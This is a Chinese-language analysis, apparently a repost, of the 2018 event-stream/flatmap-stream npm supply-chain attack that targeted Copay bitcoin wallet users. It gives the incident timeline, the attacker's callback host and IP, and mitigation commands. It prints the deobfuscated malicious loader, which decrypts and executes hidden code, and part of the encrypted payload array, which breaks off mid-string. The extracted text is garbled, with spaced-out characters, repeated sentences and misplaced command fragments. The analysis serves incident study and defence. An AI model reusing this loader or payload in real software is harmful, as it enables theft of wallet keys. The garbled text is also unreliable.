搜索

[13589] 2018-12-29_Event-Stream被植入可获取比特币的恶意代码

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2018-12-29_Event-Stream被植入可获取比特币的恶意代码 E v e n t - S t r e a m 被 植 入 可 获 取 比 特 币 的 恶 意 代 码 c l o u d s   F r e e B u f   2 0 1 8 - 1 2 - 2 9 前 几 天 ， 开 源 项 目 前 几 天 ， 开 源 项 目 e v e n t - s t r e a m 的 维 护 者 将 恶 意 代 码 注 入 到 了 依 赖 项 的 维 护 者 将 恶 意 代 码 注 入 到 了 依 赖 项 f l a t m a p - s t r e a m 中 ， 目 的 为 定 向 窃 取 使 用 比 特 币 项 目 中 ， 目 的 为 定 向 窃 取 使 用 比 特 币 项 目 C o p a y 的 的 用 户 密 码 私 钥 等 信 息 以 间 接 盗 取 比 特 币 ， 该 事 件 一 经 曝 光 就 在 国 内 外 比 特 币 和 开 源 社 区 引 起 广 泛 讨 论 。 用 户 密 码 私 钥 等 信 息 以 间 接 盗 取 比 特 币 ， 该 事 件 一 经 曝 光 就 在 国 内 外 比 特 币 和 开 源 社 区 引 起 广 泛 讨 论 。 e v e n t - s t r e a m 被 很 多 流 行 的 前 端 框 架 和 库 项 目 使 用 ， 月 下 载 量 达 千 万 级 。 本 文 ， 我 们 就 一 起 来 梳 理 该 事 件 ， 详 细 分 析 被 很 多 流 行 的 前 端 框 架 和 库 项 目 使 用 ， 月 下 载 量 达 千 万 级 。 本 文 ， 我 们 就 一 起 来 梳 理 该 事 件 ， 详 细 分 析 恶 意 源 码 作 者 所 使 用 的 后 门 代 码 和 相 关 技 术 。 恶 意 源 码 作 者 所 使 用 的 后 门 代 码 和 相 关 技 术 。 （ 文 中 链 接 请 点 击 阅 读 原 文 访 问 ） （ 文 中 链 接 请 点 击 阅 读 原 文 访 问 ） 事 件 影 响 事 件 影 响 受 影 响 用 户 ： 使 用 了 c o p a y 比 特 币 钱 包 项 目 的 用 户 受 影 响 框 架 ：   e v e n t - s t r e a m   3 . 3 . 6 受 影 响 依 赖 库 ： f l a t m a p - s t r e a m   0 . 1 . 1 黑 客 目 的 ： 窃 取 c o p a y 钱 包 项 目 的 用 户 比 特 币 黑 客 回 传 服 务 器 ： c o p a y a p i . h o s t   、 1 1 1 . 9 0 . 1 5 1 . 1 3 4 用 户 缓 解 处 理 用 户 缓 解 处 理 用 户 可 用 以 下 命 令 来 查 看 是 否 包 含 恶 意 包 ： 如 果 包 含 了 f l a t m a p - s t r e a m @ 0 . 1 . 1 ， 请 尽 快 升 级 到 f l a t m a p - s t r e a m @ 0 . 1 . 2 ， 或 者 用 以 下 命 令 降 级 到 e v e n t - s t r e a m @ 3 . 3 . 4 ： 事 件 梳 理 事 件 梳 理 事 件 起 因 最 早 源 于 e v e n t - s t r e a m 项 目 原 作 者 @ d o m i n i c t a r r 因 时 间 精 力 和 兴 趣 受 限 ， 遂 通 过 邮 件 交 流 方 式 ， 随 意 地 将 e v e n t - s t r e a m 项 目 维 护 工 作 交 给 了 另 一 位 根 本 就 不 认 识 的 开 发 者 @ R i g h t 9 c t r l ， 千 万 级 下 载 量 的 开 源 项 目 就 此 托 管 给 了 陌 生 人 ： $   n p m   l s   e v e n t - s t r e a m   f l a t m a p - s t r e a m . . . f l a t m a p - s t r e a m @ 0 . 1 . 1 . . . n p m   i n s t a l l   e v e n t - s t r e a m @ 3 . 3 . 4
9 月 9 日 ， @ R i g h t 9 c t r l 释 出 了 e v e n t - s t r e a m   3 . 3 . 6   版 本 的 更 新 ， 并 在 其 中 加 入 了 一 个 之 前 完 全 没 有 的 模 块 f l a t m a p - s t r e a m ， 此 时 ， 这 个 模 块 中 并 没 有 恶 意 代 码 。 9 月 1 6 日 ， @ r i g h t 9 c t r l 删 除 了 对 f l a t m a p - s t r e a m 的 引 用 并 在 e v e n t - s t r a m 中 手 动 引 用 了 这 个 方 法 ， 且 将 项 目 从 3 . 3 . 6   升 级 到 了   4 . 0 . 0 。 1 0 月 5 日 ， 名 为 @ h u g e g l a s s 的 用 户 把 f l a t m a p - s t r e a m @ 0 . 1 . 1   版 本 推 送 到 了   N P M 项 目 ， 此 次 的 更 新 中 ， 就 在 f l a t m a p - s t r e a m @ 0 . 1 . 1 / i n d e x . m i n . j s 末 尾 加 入 了 恶 意 代 码 。 1 0 月 2 9 日 ， 由 于 e v e n t - s t r e a m 被 n o d e . j s 应 用 监 视 项 目 N o d e m o n 引 用 ， 幸 运 的 是 ， 启 动 恶 意 代 码 所 使 用 的 一 个 A P I 在 N o d e   1 0 版 本 中 被 弃 用 了 ， 用 户 @ j a y d e n s e r i c 在 社 区 提 出 了 疑 问 。 1 1 月 2 0 日 ，   @ A y r t o n   S p a r l i n g （ F a l l i n g S n o w ） 发 现 N o d e m o n 软 件 包 上 的 错 误 是 由 e v e n t - s t r e a m 导 致 的 ， 并 在 相 关 引 用 文 件 中 发 现 了 异 常 代 码 ， 经 社 区 人 员 共 同 协 作 ， 共 同 披 露 了 此 次 事 件 。 曝 光 曝 光   -   一 个 意 外 的 警 告 提 示 一 个 意 外 的 警 告 提 示 1 0 月 底 ， 流 行 的 n o d e . j s 工 具 n o d e m o n 出 现 了 一 个 问 题 ， 用 户 登 录 n o d e m o n 控 制 端 后 ， 会 跳 出 一 个 弃 用 警 告 （ d e p r e c a t i o n w a r n i n g ） ， 警 告 中 提 示 c r y p t o . c r e a t e D e c i p h e r 这 个 加 密 相 关 库 已 经 被 弃 用 。 c r y p t o 是 一 个 常 用 的 加 密 解 密 库 ， 可 能 是 因 为 接 口 升 级 ， 它 的 c r y p t o . c r e a t e D e c i p h e r 方 法 已 经 在 新 版 中 废 弃 ， 因 此 n o d e m o n 抛 出 了 这 个 警 告 提 示 。
通 常 来 说 ， 类 似 这 样 的 弃 用 警 告 也 算 常 见 ， 看 起 来 没 什 么 异 常 。 这 里 的 警 告 ， 初 看 上 去 与 n o d e m o n 项 目 无 关 ， 只 是 依 赖 项 问 题 ， 程 序 内 部 会 自 行 解 决 处 理 ， 一 般 开 发 人 员 也 会 无 视 地 忽 略 掉 。 但 另 外 一 方 面 来 讲 ， 正 常 情 况 下 n o d e m o n 项 目 是 不 需 要 进 行 加 密 解 密 的 ， 这 就 有 点 匪 夷 所 思 了 。 快 三 个 星 期 后 的 1 1 月 2 0 号 ， 名 为 A y r t o n   S p a r l i n g 的 开 发 者 在 分 析 n o d e m o n 的 输 出 日 志 时 ， 发 现 上 述 那 个 c r y p t o . c r e a t e D e c i p h e r 的 弃 用 警 告 ， 他 一 心 好 奇 ， 层 层 分 析 ， 最 终 发 现 这 是 由 一 个 深 层 的 依 赖 关 系 导 致 的 ， 根 本 原 因 是 由 f l a t m a p - s t r e a m @ 0 . 1 . 1 中 名 为 i n d e x . m i n . j s 的 j s 脚 本 末 尾 ， 被 添 加 了 一 段 异 常 的 恶 意 混 淆 代 码 ， 而 此 前 正 常 的 f l a t m a p - s t r e a m 包 j s 脚 本 中 就 没 有 这 段 代 码 。 A y r t o n   S p a r l i n g 顺 藤 摸 瓜 的 分 析 ， 最 终 指 向 了 流 行 的 N P M 库   -   e v e n t - s t r e a m ， 这 是 一 个 由 著 名 开 发 者 维 护 的 ， 且 月 下 载 量 达 千 万 次 的 J a v a S c r i p t 开 源 库 。 恶 意 代 码 分 析 恶 意 代 码 分 析 用 代 码 解 码 工 具 u n m i n i f y 把 上 述 异 常 的 恶 意 代 码 恢 复 之 后 ， 其 可 读 性 的 格 式 化 代 码 如 下 ， 在 此 我 们 把 它 称 为 P a y l o a d A ： !   f u n c t i o n ( )   { ! f u n c t i o n ( ) { t r y { v a r   r = r e q u i r e , t = p r o c e s s ; f u n c t i o n   e ( r ) { r e t u r n   B u f f e r . f r o m ( r , " h e x " ) . t o S t r i n g ( ) } v a r   n = r ( e ( " 2 e 2 f 7 4 6 5 7 3 7 4 2 f 6 4 6 1 7 4 6 1 " ) ) , o = t [ e ( n [ 3 ] ) ] [ e ( n [ 4 ] ) ] ; i f ( ! o ) r e t u r n ; v a r   u = r ( e ( n [ 2 ] ) ) [ e ( n [ 6 ] ) ] ( e ( n [ 5 ] ) , o ) , a = u . u p d a t e ( n [ 0 ] , e ( n [ 8 ] ) , e ( n [ 9 ] ) ) ; a + = u . f i n a l ( e ( n [ 9 ] ) ) ; v a r   f = n e w   m o d u l e . c o n s t r u c t o r ; f . p a t h s = m o d u l e . p a t h s , f [ e ( n [ 7 ] ) ] ( a , " " ) , f . e x p o r t s ( n [ 1 ] ) } c a t c h ( r ) { } } ( ) ;
} ( ) ; 从 以 上 代 码 可 以 看 出 ， 源 码 作 者 在 其 中 使 用 了 h e x T o A s c i i 函 数 进 行 了 混 淆 ， 而 其 中 的 H e x 串 “ 2 e 2 f 7 4 6 5 7 3 7 4 2 f 6 4 6 1 7 4 6 1 ” 内 容 就 是   “ . / t e s t / d a t a ”   的 意 思 ： 也 就 是 ， 它 会 请 求 一 个 路 径 为 . / t e s t / d a t a . j s 的 文 件 。 目 前 ， 这 个 d a t a . j s 文 件 已 被 删 除 ， 而 据 A y r t o n   S p a r l i n g 的 分 析 显 示 ， 该 d a t a . j s 文 件 内 容 此 前 是 一 个 数 组 ， 对 应 了 上 述 代 码 中 的 n ， 具 体 为 ： 其 中 ， 数 组 前 两 项 为 加 密 代 码 （ 注 意 ， 逗 号 的 数 组 分 隔 符 ） ， 从 第 三 项 的 6 3 7 2 7 9 7 0 7 4 6 f 开 始 ， 即 可 以 H e x   t o   A S C I I 方 式 解 码 ， 它 们 分 别 对 应 的 A S C I I 内 容 如 下 ： t r y   {         v a r   r   =   r e q u i r e ,                 t   =   p r o c e s s ;         f u n c t i o n   e ( r )   {                 r e t u r n   B u f f e r . f r o m ( r ,   " h e x " ) . t o S t r i n g ( )         }         v a r   n   =   r ( e ( " 2 e 2 f 7 4 6 5 7 3 7 4 2 f 6 4 6 1 7 4 6 1 " ) ) ,                 o   =   t [ e ( n [ 3 ] ) ] [ e ( n [ 4 ] ) ] ;         i f   ( ! o )   r e t u r n ;         v a r   u   =   r ( e ( n [ 2 ] ) ) [ e ( n [ 6 ] ) ] ( e ( n [ 5 ] ) ,   o ) ,                 a   =   u . u p d a t e ( n [ 0 ] ,   e ( n [ 8 ] ) ,   e ( n [ 9 ] ) ) ;         a   + =   u . f i n a l ( e ( n [ 9 ] ) ) ;         v a r   f   =   n e w   m o d u l e . c o n s t r u c t o r ;         f . p a t h s   =   m o d u l e . p a t h s ,   f [ e ( n [ 7 ] ) ] ( a ,   " " ) ,   f . e x p o r t s ( n [ 1 ] ) }   c a t c h   ( r )   { } v a r   n   =   [ " 7 5 d 4 c 8 7 f 3 f 6 9 e 0 f a 2 9 2 9 6 9 0 7 2 c 4 9 d f f 4 f 9 0 f 4 4 c 1 3 8 5 d 8 e b 6 0 d a e 4 c c 3 a 2 2 9 e 5 2 c f 6 1 f 7 8 b 0 8 2 2 3 5 3 b 4 3 0 4 e 3 2 3 a d 5 6 3 b c 2 2 c 9 8 4 2 1 e b 6 a 8 c 1 9 1 7 e 3 0 2 7 7 f 7 1 6 4 5 2 e e 8 d 5 7 f 9 8 3 8 e 0 0 f 0 c 4 e 4 e b d 7 8 1 8 6 5 3 f 0 0 e 7 2 8 8 8 a 4 0 3 1 6 7 6 d 8 e 2 a 8 0 c a 3 c b 0 0 a 7 3 9 6 a e 3 d 1 4 0 1 3 5 d 9 7 c 6 d b 0 0 c a b 1 7 2 c b f 9 a 9 2 d 0 b 9 f b 0 f 7 3 f f 2 e e 4 d 3 8 c 7 f 6 f 4 b 3 0 9 9 0 f 2 c 9 7 e f 3 9 a e 6 a c 6 c 8 2 8 f 5 8 9 2 d d 8 4 5 7 a b 5 3 0 a 5 1 9 c d 2 3 6 e b d 5 1 e 1 7 0 3 b c f c a 8 f 9 4 4 1 c 2 6 6 4 9 0 3 a f 7 e 5 2 7 c 4 2 0 d 9 2 6 3 f 4 a f 5 8 c c b 5 8 4 3 1 8 7 a a 0 d a 1 c b b 4 b 6 a e d f d 1 b d c 6 f a f 3 2 f 3 8 a 8 8 5 6 2 8 6 1 2 6 6 0 a f 8 6 3 0 5 9 7 9 6 9 1 2 5 c 9 1 7 d f c 5 1 2 c 5 3 4 5 3 c 9 6 c 1 4 3 a 2 a 0 5 8 b a 9 1 b c 3 7 e 2 6 5 b 4 4 c 5 8 7 4 e 5 9 4 c a a f 5 3 9 6 1 c 8 2 9 0 4 a 9 5 f 1 d d 3 3 b 9 4 e 4 d d 1 d 0 0 e 9 8 7 8 f 6 6 d a f c 5 5 f a 6 f 2 f 7 7 e c 7 e 7 e 8 f e 2 8 e 4 f 9 5 9 e a b 4 7 0 7 5 5 7 b 2 6 3 e c 7 4 b 2 7 6 4 0 3 3 c d 3 4 3 1 9 9 e e b 6 1 4 0 a 6 2 8 4 c b 0 0 9 a 0 9 b 1 4 3 d c e 7 8 4 c 2 c d 4 0 d c 3 2 0 7 7 7 d e e a 6 f b d f 1 8 3 f 7 8 7 f a 7 d d 3 c e 2 1 3 9 9 9 9 3 4 3 b 4 8 8 a 4 f 5 b c f 3 7 4 3 e e c f 0 d 3 0 9 2 8 7 2 7 0 2 5 f f 3 5 4 9 8 0 8 f 7 f 7 1 1 c 9 f 7 6 1 4 1 4 8 c f 4 3 c 8 a a 7 c e 9 b 3 f c c 1 c f f 4 b b 0 d f 7 5 c b 2 0 2 1 d 0 f 4 a f e 5 7 8 4 f a 8 0 f e d 2 4 5 e e 3 f 0 9 1 1 7 6 2 f f f b c 3 6 9 5 1 a 7 8 4 5 7 b 9 4 6 2 9 f 0 6 7 c 1 f 1 2 9 2 7 c d f 9 7 6 9 9 6 5 6 f 4 a 2 c 4 4 2 9 f 1 2 7 9 c 4 e b a c d e 1 0 f a 7 a 6 f 5 c 4 4 b 1 4 b c 8 8 3 2 2 a 3 f 0 6 b b 0 8 4 7 f 0 4 5 6 e 6 3 0 8 8 8 e 5 b 6 c 3 f 2 b 8 f 8 4 8 9 c d 6 b c 0 8 2 c 8 0 6 3 e b 0 3 d d 6 6 5 b a d a f 2 a 0 2 0 f 1 4 4 8 f 3 a e 2 6 8 c 8 d 1 7 6 e 1 d 8 0 c c 7 5 6 d c 3 f a 0 2 2 0 4 e 7 a 2 f 7 4 b 9 d a 9 7 f 9 5 6 4 4 7 9 2 e e 8 7 f 1 4 7 1 b 4 c 0 d 7 3 5 5 8 9 f c 5 8 b 5 c 9 8 f b 2 1 c 8 a 8 d b 5 5 1 b 9 0 c e 6 0 d 8 8 e 3 f 7 5 6 c c 6 c 8 c 4 0 9 4 a e a a 1 2 b 1 4 9 4 6 3 a 6 1 2 e a 5 e a 5 4 2 5 e 4 3 f 2 2 3 e b 8 0 7 1 d 7 b 9 9 1 c f d f 4 e d 5 9 a 9 6 c c b e 5 b d b 3 7 3 d 8 f e b d 0 0 f 8 c 7 e f f a 5 7 f 0 6 1 1 6 d 8 5 0 c 2 d 9 8 9 2 5 8 2 7 2 4 b 3 5 8 5 f 1 d 7 1 d e 8 3 d 5 4 7 9 7 a 0 b f c e e b 4 6 7 0 9 8 2 2 3 2 8 0 0 a 9 b 6 9 5 d 8 2 4 a 7 a d a 3 d 4 1 e 5 6 8 e c a a 6 6 2 9 " , " d b 6 7 f d b f c 3 9 c 2 4 9 c 6 f 3 3 8 1 9 4 5 5 5 a 4 1 9 2 8 4 1 3 b 7 9 2 f f 4 1 8 5 5 e 2 7 7 5 2 e 2 2 7 b a 8 1 5 7 1 4 8 3 c 6 3 1 b c 6 5 9 5 6 3 d 0 7 1 b f 3 9 2 7 7 a c 3 3 1 6 b d 2 e 1 f d 8 6 5 d 5 b a 0 b e 0 b b b e f 3 0 8 0 e b 5 f 6 d f d f 4 3 b 4 a 6 7 8 6 8 5 a a 6 5 f 3 0 1 2 8 f 8 f 3 6 6 3 3 f 0 5 2 8 5 a f 1 8 2 b e 8 e f e 3 4 a 2 a 8 f 6 c 9 c 6 6 6 3 d 4 a f 8 4 1 4 b a a c c d 4 9 0 d 6 e 5 7 7 b 6 b 5 7 b f 7 f 4 d 9 d e 5 c 7 1 e e 6 b b f f d 7 0 0 1 5 a 7 6 8 2 1 8 a 9 9 1 e 1 7 1 9 b 5 4 2 8 3 5 4 d 1 0 4 4 9 f 4 1 b a c 7 0 e 5 a f b 1 a 3 e 0 3 a 5 2 b 8 9 a 1 9 d 4 c c 3 3 3 e 4 3 b 6 7 7 f 4 e c 7 5 0 b f 0 b e 2 3 f b 5 0 f 2 3 5 d d 6 0 1 9 0 5 8 f b c 3 0 7 7 c 0 1 d 0 1 3 1 4 2 d 9 0 1 8 b 0 7 6 6 9 8 5 3 6 d 2 5 3 6 b 7 a 1 a 6 a 4 8 f 5 4 8 5 8 7 1 f 7 d c 4 8 7 4 1 9 e 8 6 2 b 1 a 7 4 9 3 d 8 4 0 f 1 4 e 8 0 7 0 c 8 e f f 5 4 d a 8 0 1 3 f d 3 f e 1 0 3 d b 2 e c e b c 1 2 1 f 8 2 9 1 9 e f b 6 9 7 c 2 c 4 7 f 7 9 5 1 6 7 0 8 d e f 7 a c c d 8 8 3 d 9 8 0 d 5 6 1 8 e f d 4 0 8 c 0 f d 4 6 f d 3 8 7 9 1 1 d 1 e 7 2 e 1 6 c f 8 8 4 2 c 5 f e 3 4 7 7 e 4 b 4 6 a a 7 b b 3 4 e 3 c f 9 c a d d f c a 7 4 4 b 6 a 2 1 b 5 4 5 7 b e a c c f f 8 3 f a 6 f b 6 e 8 f 3 8 7 6 e 4 7 6 4 e 0 d 4 b 5 3 1 8 e 7 f 3 e e d 3 4 a f 7 5 7 e b 2 4 0 6 1 5 5 9 1 d 5 3 6 9 d 4 a b 1 4 9 3 c 8 a 9 c 3 6 6 d f a 3 9 8 1 b 9 2 4 0 5 e 5 e b c b f d 5 d c a 2 c 6 f 9 b 8 e 8 8 9 0 a 4 6 3 5 2 5 4 e 1 b c 2 6 d 2 f 7 a 9 8 6 e 2 9 f e f 6 e 6 7 f 9 a 5 5 b 6 f a e c 7 8 d 5 4 e b 0 8 c b 2 f 8 e a 7 8 5 7 1 3 b 2 f f d 6 9 4 e 7 5 6 2 c f 2 b 0 6 d 3 8 a 0 f 9 7 d 0 b 5 4 6 b 9 a 1 2 1 6 2 0 b 7 f 9 d 9 c c c a 5 1 b 5 e 7 4 d f 4 b d d 8 2 d 2 a 5 e 3 3 6 a 1 d 6 4 5 2 9 1 2 6 5 0 c c 2 e 8 f f c 4 1 b d 7 a a 1 7 a b 1 7 f 6 0 b 2 b d 0 c f c 0 c 3 5 e d 8 2 c 7 1 c 0 6 6 2 9 8 0 f 1 2 4 2 c 4 5 2 3 f a e 7 a 8 5 c c d 5 e 8 2 1 f e 2 3 9 b f b 3 3 d 3 8 d f 7 8 0 9 9 f d 3 4 f 4 2 9 d 7 5 1 1 7 e 3 9 b 8 8 8 3 4 4 d 5 7 2 9 0 b 2 1 7 3 2 f 2 6 7 c 2 2 6 8 1 e 4 f 6 4 0 b e c 9 4 3 7 b 7 5 6 d 3 0 0 2 a 3 1 3 5 5 6 4 f 1 c 5 9 4 7 c c 7 c 9 6 e 1 3 7 0 d b 7 a f 6 d b 2 4 c 9 0 3 0 f b 2 1 6 d 0 a c 1 d 9 b 2 c a 1 7 c b 3 b 3 d 5 9 5 5 f f c c 3 2 3 7 9 7 3 6 8 5 a 2 c 0 7 8 e 1 0 b c 6 e 3 6 7 1 7 b 1 3 2 4 0 2 2 c 8 8 4 0 b 9 a 7 5 5 c f f d e f 6 a 4 d 1 8 8 0 a 4 b 6 0 7 2 f d 1 e b 7 a a b e b b 9 b 9 4 9 e 1 e 3 7 b e 6 d f b 6 4 3 7 c 3 f d 0 e 6 f 1 3 5 b c e a 6 5 e 2 a 0 6 e b 3 5 f f 2 6 d c f 2 b 2 7 7 2 f 8 d 0 c d e 8 e 5 f a 5 e e c 5 7 7 e 9 7 5 4 f 6 b 0 4 4 5 0 2 f 8 c e 8 8 3 8 d 3 6 8 2 7 b d 3 f e 9 1 c c c b a 2 a 0 4 c 3 e e 9 0 c 1 3 3 3 5 2 c b a d 3 4 9 5 1 f d f 2 1 a 6 7 1 a 4 e 3 9 4 0 f d 6 9 c f e e 1 7 2 d f 4 1 2 3 a 0 f 6 7 8 1 5 4 8 7 1 a f a 8 0 f 7 6 3 d 7 8 d f 9 7 1 a 1 3 1 7 2 0 0 d 0 c e 5 3 0 4 b 3 f 0 1 a c e 9 2 1 e a 8 a f b 4 1 e c 8 0 0 a b 8 3 4 d 8 1 7 4 0 3 5 3 1 0 1 4 0 8 7 3 3 f b 7 1 0 e 9 9 6 5 7 5 5 4 c 5 0 a 4 a 8 c b 0 a 5 1 4 7 7 a 0 7 d 6 8 7 0 b 6 8 1 c d c 0 b e 0 6 0 0 d 9 1 2 a 0 c 7 1 1 d c 9 4 4 2 2 6 0 2 6 5 d 5 0 e 2 6 9 f 0 2 e b 4 9 d a 5 0 9 5 9 2 e 0 9 9 6 d 0 2 a 3 6 a 0 c e 0 4 0 f f f 7 b d 3 b e 5 7 e 9 7 d 0 7 e 4 d e 0 c d b 9 3 b 7 e 3 c c e a 4 2 2 a 5 a 5 2 6 f b 9 5 e a 8 5 0 8 e a 2 a 4 0 0 1 0 f 5 6 d 4 a a 9 6 d a 2 3 e 6 e 9 b c b a e 0 9 d a c c c d c d 8 a c 6 a f 9 6 a 1 9 2 2 2 6 6 c 3 7 9 5 f b 0 7 9 8 a f f a a 7 5 b 8 a e 0 5 2 2 1 6 1 2 c e 4 5 c 8 2 4 d 1 f 6 6 0 3 f e 2 a f d 7 4 b 9 e 1 6 7 7 3 6 b f f f e 0 1 a 1 2 b 9 f 8 5 9 1 2 5 7 2 a 2 9 1 3 3 6 c 6 9 3 f 1 3 3 e f e a c 8 8 1 c d 0 9 2 0 7 5 0 5 a d 9 3 9 6 7 e 3 b 7 a 8 9 7 2 c d c c e 2 0 8 b f a 3 b 9 9 5 6 3 7 0 7 9 5 7 9 1 c a 9 1 a 8 b 9 d e a b d e 2 6 c 3 e e 2 a d b 4 3 e 9 f 7 d f 2 d f 1 6 d 4 5 8 2 a 4 e 6 1 0 b 7 3 7 5 4 e 6 0 9 b 1 e e a 9 3 6 a 4 d 9 1 6 b f 5 e d 9 d 6 2 7 6 9 2 b c c 8 e d 0 9 3 3 0 2 6 e 9 2 5 0 d 1 6 b d a f 2 b 6 8 4 7 0 6 0 8 a e a f f e d c f 2 b e 8 c 4 c 1 7 6 b f c 6 2 0 e 3 f 9 f 1 7 a 4 a 9 d 8 e f 9 f e 4 6 c c a 4 1 a 7 9 8 7 8 d 3 7 4 2 3 c 0 f a 9 f 3 e e 1 f 4 e 6 d 6 8 f 0 2 9 d 6 c b b 5 c b c 9 0 e 7 2 4 3 1 3 5 e 0 f c 1 d d 6 6 2 9 7 d 3 2 a d a b c 9 a 6 d 0 2 3 5 7 0 9 b e 1 7 3 b 6 8 8 b a 2 0 0 4 f 5 1 8 f 5 8 f 5 4 5 9 c a c a 6 0 d 6 1 5 a e 4 d c 0 d 0 e e a c b e 4 8 c a 8 7 2 7 a 8 b 4 2 d c 7 8 3 9 6 3 1 6 a 0 e 2 2 3 0 2 9 b 7 6 3 1 1 e 7 6 0 7 e a 5 b d 2 3 6 3 0 7 b a 3 b 6 2 a f e f f 7 a 1 e f 5 c 0 b 5 d 7 e e 7 6 0 c 0 f 6 4 7 2 3 5 9 c 5 7 8 1 7 c 5 d 9 c d 5 3 4 d 9 a 3 4 b b 4 8 4 7 b b c 8 3 c 3 7 b 1 4 b 6 4 4 4 e 9 f 3 8 6 f 1 b e c 4 b 4 2 c 6 5 d 1 0 7 8 d 5 4 b d 0 0 7 f f 5 4 5 0 2 8 2 0 5 0 9 9 a b c 4 5 4 9 1 9 4 0 6 4 0 8 b 7 6 1 a 1 6 3 6 d 1 0 e 3 9 e d e 9 f 6 5 0 f 2 5 a b a d 3 2 1 9 b 9 d 4 6 d 5 3 5 4 0 2 b 9 3 0 4 8 8 5 3 5 d 9 7 d 1 9 b e 3 b 0 e 7 5 f e d 3 1 d 0 b 2 f 8 a f 0 9 9 4 8 1 6 8 5 e 2 b 4 f a 9 b f f 0 5 c b a c 1 b 9 b 4 0 5 d b 2 c 7 e a e 6 8 5 0 1 6 3 3 e 0 2 7 2 3 5 6 0 7 2 7 a 1 c 8 c 3 4 c 3 2 a f c 7 6 c d e b 8 2 f e 8 b a e 3 4 b 0 9 c d 8 2 4 0 2 0 7 6 b 9 f 4 8 1 d 0 4 3 b 0 8 0 d 8 5 1 c 7 b 6 b a 8 6 1 3 a d b a 3 b c 3 d 5 e d b 9 a 8 4 f c e 4 1 1 3 0 a d 3 2 8 f e 4 c 0 6 2 a 7 6 9 6 6 c b 6 0 c 4 f a 8 0 1 f 3 5 9 d 2 2 b 7 0 a 7 9 7 a 2 c 2 a 3 d 1 9 d a 7 3 8 3 0 2 5 c b 2 e 0 7 6 b 9 c 3 0 b 8 6 2 4 5 6 a e 4 b 6 0 1 9 7 1 0 1 e 8 2 1 3 3 7 4 8 c 2 2 4 a 1 4 3 1 5 4 5 f d e 1 4 6 d 9 8 7 2 3 c c b 7 9 b 4 7 1 5 5 b 2 1 8 9 1 4 c 7 6 f 5 d 5 2 0 2 7 c 0 6 c 6 c 9 1 3 4 5 0 f c 5 6 5 2 7 a 3 4 c 3 f e 1 3 4 9 f 3 8 0 1 8 a 5 5 9 1 0 d e 8 1 9 a d d 6 2 0 4 a b 2 8 2 9 6 6 8 c a 0 b 7 a f b 0 d 0 0 f 0 0 c 8 7 3 a 3 f 1 8 d a a d 9 a e 6 6 2 b 0 9 c 7 7 5 c d d b e 9 8 b 9 e 7 a 4 3 f 1 f 8 3 1 8 6 6 5 0 2 7 6 3 6 d 1 d e 1 8 b 5 a 7 7 f 5 4 8 e 9 e d e 3 b 7 3 e 3 7 7 7 c 4 4 e c 9 6 2 f b 7 a 9 4 c 5 6 d 8 b 3 4 c 1 d a 6 0 3 b 3 f c 2 5 0 7 9 9 a a d 4 8 c c 0 0 7 2 6 3 d a f 8 9 6 9 d b e 9 f 8 a d e 2 a c 6 6 f 5 b 6 6 6 5 7 d 8 b 5 6 0 5 0 f f 1 4 d 8 f 7 5 9 d d 2 c 7 c 0 4 1 1 d 9 2 1 5 7 5 3 1 c f c 3 a c 9 c 9 8 1 e 3 2 7 f d 6 b 1 4 0 f b 2 a b f 9 9 4 f a 9 1 a e c c 2 c 4 f e f 5 f 2 1 0 f 5 2 d 4 8 7 f 1 1 7 8 7 3 d f 6 e 8 4 7 7 6 9 c 0 6 d b 7 f 8 6 4 2 c d 2 4 2 6 b 6 c e 0 0 d 6 2 1 8 4 1 3 f d b b a 5 b b b e b c 4 e 9 4 b f f d e f 6 9 8 5 a 0 e 8 0 0 1 3 2 f e 5 8 2 1 e 6 2 f 2 c 1 d 7 9 d d b 5 6 5 6 b d 5 1 0 2 1 7 6 d 3 3 d 7 9 c f 4 5 6 0 4 5 3 c a 7 f d 3 d 3 c 3 b e 0 1 9 0 a e 3 5 6 e f a a f 5 e 2 8 9 2 f 0 d 8 0 c 4 3 7 e a d e 2 d 2 8 6 9 8 1 4 8 e 7 2 f b e 1 7 f 1 f a c 9 9 3 a 1 3 1 4 0 5 2 3 4 5 b 7 0 1 d 6 5 b b 0 e a 3 7 1 0 1 4 5 d f 6 8 7 b b 1 7 1 8 2 c d 3 a d 6 c 1 2 1 a f e f 2 0 b f 0 2 e 0 1 0 0 f d 6 3 c b b f 4 9 8 3 2 1 7 9 5 3 7 2 3 9 8 c 9 8 3 e b 3 1 f 1 8 4 f a 1 a d b b 2 4 7 5 9 e 3 9 5 d e f 3 4 e 1 a 7 2 6 c 3 6 0 4 5 9 1 b 6 7 9 2 8 d a 6 c 6 a 8 c 5 f 9 6 8 0 8 e d f c 7 9 9 0 a 5 8 5 4 1 1 f f e 6 3 3 b a e 6 a 3 e d 6 c 1 3 2 b 1 5 4 7 2 3 7 c a b 6 f 3 b 2 4 c 5 7 d 3 d 4 c d 8 e 2 f b b d 9 f 7 6 7 4 e c e c f 0 f 6 6 b 3 9 c 2 5 9 1 3 3 0 a c c 1 a c 2 0 7 3 2 a 9 8 e 9 b 6 1 a 3 f d 9 7 9 f 8 8 a b 7 2 1 1 a c b f 6 2 9 f c b 0 c 8 0 f b 5 e d 1 e a 5 5 d f 0 7 3 5 d c f 1 3 5 1 0 3 0 4 6 5 2 7 6 3 a 5 e d 7 b d e 3 e 5 e b d a 1 b f 7 2 1 1 0 7 8 9 e b e f a 4 6 9 b 7 0 f 6 b 4 a d d 2 9 c e 1 4 7 1 f a 6 9 7 2 d f 1 0 8 7 1 7 1 0 0 4 1 2 c 8 0 4 e f c f 8 a a b a 2 7 7 f 0 1 0 7 b 1 c 5 1 f 1 5 f 1 4 4 a b 0 2 d d 8 f 3 3 4 d 5 b 4 8 c a f 2 4 a 4 4 9 2 9 7 9 f a 4 2 5 c 4 c 2 5 c 4 d 2 1 3 4 0 8 e c f e b 8 2 f 3 4 e 7 d 2 0 f 2 6 f 6 5 f a 4 e 8 9 d b 5 7 5 8 2 d 6 a 9 2 8 9 1 4 e e 6 f c 0 c 6 c c 0 a 9 7 9 3 a a 0 3 2 8 8 3 e a 5 a 2 d 2 1 3 5 d b f c f 7 6 2 f 4 a 2 e 2 2 5 8 5 9 6 6 b e 3 7 6 d 3 0 f b f a b b 1 d f d 1 8 2 e 7 b 1 7 4 0 9 7 4 8 1 7 6 3 c 0 4 f 5 d 7 c b d 0 6 0 c 5 a 3 6 d c 0 e 3 d d 2 3 5 d e 1 6 6 9 f 3 d b 8 7 4 7 d 5 b 7 4 d 8 c 1 c c 9 a b 3 a 9 1 9 e 2 5 7 f b 7 e 6 8 0 9 f 1 5 a b 7 c 2 